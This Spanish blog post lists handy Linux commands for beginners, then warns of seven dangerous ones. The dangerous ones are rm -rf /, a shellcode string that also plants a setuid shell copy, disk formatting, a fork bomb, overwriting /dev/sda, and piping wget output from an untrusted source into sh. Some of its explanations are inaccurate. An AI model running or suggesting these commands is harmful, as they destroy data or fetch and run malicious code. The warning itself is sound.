Esta es una lista de 10 comandos Linux muy útiles para todos aquellos que decidan iniciarse en el mundo Linux y la consola.
- Detener una aplicación utilizando el nombre de ésta:
killall [nombre_programa]
- Mostrar el espacio en disco (el parámetro
-h, --human-readable muestra la información del almacenamiento en un formato más legible):
df –h
- Localizar los directorios de instalación de una aplicación determinada:
whereis [nombre_aplicación]
- Montar un fichero .ISO:
mount /ruta/al/fichero.iso /mnt/cdrom –oloop
- Capturar o grabar en video tu escritorio:
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
- Encontrar el UUID de tus particiones:
ls /dev/disk/by-uuid/ -alh
- Mostrar los 10 primeros procesos en ejecución ordenados por uso de memoria RAM:
ps aux | sort -nrk 4 | head
- Crear una alarma sonora cuando una dirección IP esté disponible online:
ping -i 60 -a Dirección_IP
- Ejecutar el último comando como root:
sudo !!
- Crear un árbol de directorios con un solo comando:
mkdir -p tmp/a/b/c
Bonus track: esta es una breve recopilación de otros comandos Linux curiosos que también pueden resultarnos útiles y que puedes encontrar en commandlinefu
- Haz una copia de seguridad rápida de un fichero concreto
cp nombre_fichero{,.bak}
- Ejecutar un comando sin guardarlo en el historial de la consola (añade al principio de la línea uno o más espacios en blanco)
[espacio_en_blanco]comando
- Accede a la tabla de caracteres ASCII
man ascii
- Renombrar rápidamente la extensión de un fichero
mv fichero.{antiguo,nuevo}
Warning: sudo and su are like electricity if you don’t know what you are doing.
Traducción [libre]: “Ojo: sudo y su tienen los mismos efectos que la electricidad si no sabes lo que estás haciendo.”
Visto en Ubuntu Forums
Este post, extraído de Tech Source from Bohol, nos advierte sobre 7 peligrosos comandos de Linux que pueden hacer estragos en nuestro ordenador.
Aunque el post está pensado para usuarios que se acercan por primera vez al mundo Linux no está de más refrescar la memoria a los que sabemos un poco más. Estos son los 7 peligrosos comandos de Linux:
rm -rf /
Este comando eliminará todos los archivos y directorios de nuestro directorio root sin pedir confirmación
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Es la versión hexadecimal de rm -rf / que puede despistar y hacer estragos incluso a los usuarios avanzados
mkfs.ext3 /dev/sda
Con este comando se formateará de nuevo la unidad que incluyamos después de mkfs
:(){:|:&};:
Este comando ejecutará un gran número de procesos hasta que el sistema deje de funcionar lo que puede provocar también que los datos de nuestro equipo se corrompan. También se le conoce como bomba fork o forkbomb, en inglés.
cualquier_comando > /dev/sda
Con esta acción se empiezan a escribir datos en nuestra unidad de disco duro que originará una peŕdida de datos.
wget http://cualquier_fuente_no_fiable -O- | sh
Este comando puede hacer que estemos ejecutando código malicioso en nuestro equipo, así que la solución pasa por no descargar nunca archivos de fuentes no fiables y mucho menos ejecutarlos.
mv /home/tudirectoriohome/* /dev/null
El comando mv enviará todos los archivos de tu directorio home a un lugar que no existe, con lo que ya no podrás recuperar esos datos.
Por supuesto, si al leer este post queréis compartir algún comando más que consideréis peligros estaré encantando de añadirlo :)